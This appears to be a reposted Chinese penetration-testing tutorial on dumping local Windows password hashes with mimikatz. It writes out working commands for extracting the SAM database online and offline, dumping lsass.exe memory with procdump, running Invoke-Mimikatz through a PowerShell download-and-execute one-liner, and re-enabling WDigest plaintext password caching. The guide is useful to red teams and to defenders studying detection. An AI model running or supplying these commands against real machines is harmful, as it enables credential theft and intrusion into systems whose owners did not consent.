从mimikatz学Windows本地hash抓取 - ZG0T01

admin 2021年12月31日03:47:20评论340 views字数 2780阅读9分16秒阅读模式

前言

  • 在Windows操作系统上,sam数据库(C:WindowsSystem32configsam)里保存着本地用户的hash。
  • 在本地认证的流程中,作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中(dmp文件)。

从上面的两个思路开始,我们利用mimkatz工具作为辅助,来抓取本地用户的hash。

SAM数据库提取

https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump

lsadump::sam

此命令可以转存储SAM数据库,里面包含了本地用户的密码hash。

它有两种工作模式:online and offline

online 模式

online工作模式:需要用户具备SYSTEM权限使用模拟的SYSTEM令牌,否则将会产生拒绝访问报错:

下面通过使用模拟SYSTEM令牌(token::elevate)进行演示:

privilege::debug
token::elevate
lsadump::sam
  • privilege::debug

    获得debug权限。

  • token::elevate

    模拟一个system令牌。

offline 模式

offline模式:获取当前系统的SAM数据库文件,在另一系统下进行读取。Win2000和XP需要先提到SYSTEM,03开始直接可以reg save。

导出SAM数据库文件有以下两种实现方法:

  • 保存注册表
reg save hklmsam sam.hiv
reg save hklmsystem system.hiv

文件保存在执行命令的目录:

  • 复制文件
C:WindowsSystem32configSYSTEM
C:WindowsSystem32configSAM

默认无法复制:

需要借助工具:https://github.com/3gstudent/NinjaCopy

导出SAM数据库后,把文件放置mimikatz目录下:

执行命令:

lsadump::sam /sam:sam.hiv /system:system.hiv

工作原理

参考:渗透技巧-通过sam数据库获取本地用户hash

  1. 读取hklmsystem获取syskey
  2. 使用syskey解密hklmsam

优缺点比较

online模式:使用简单,但是特征明显,通常会被安全产品拦截。

offline模式:导出的文件大,效率低,但是安全。

其他工具

powershell Import-Module .Invoke-PowerDump.ps1;Invoke-PowerDump

lsass内存提权

使用mimikatz直接导出凭证

https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa

该模块从lsass.exe的内存中提权hash,需要具备下面的条件之一:

  • administrator,可以通过privilege::debug获得调试权限
  • SYSTEM权限

下面通过privilege::debug进行演示:

  • 本地交互式抓取:
privilege::debug
log
sekurlsa::logonpasswords

会在当前shell运行的目录下生成mimikatz.log

  • 本地非交互式抓取:
mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

缺点也非常明显,通常会被安全产品拦截。

  • powershell加载mimikatz抓取:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

或者下载本地执行:

powershell Import-Module .Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "log" "sekurlsa::logonPasswords full"'

通过lsass进程的dmp文件导出凭证

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

会在当前目录生成lsass.dmp文件:

然后从lsass.dmp文件导出凭证,通过mimikatz完成:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

  • 明文密码问题:

    参考:红蓝对抗之Windows内网渗透

    为什么有的抓不到明文密码,主要还是kb2871997的问题。kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。

    但是用户可以手动开启:

    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

BY:先知论坛

相关推荐: Note——CVE-2010-3333 - ERFZE

0x01 漏洞描述 漏洞成因:栈溢出漏洞。MSO.DLL在处理pFragments数组时未校验复制长度,故可构造数据造成栈溢出,劫持执行流。 影响版本:Microsoft Office XP SP3, Office 2003 SP3, Office 2007 …

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:47:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从mimikatz学Windows本地hash抓取 - ZG0T01http://cn-sec.com/archives/708324.html

发表评论

匿名网友 填写信息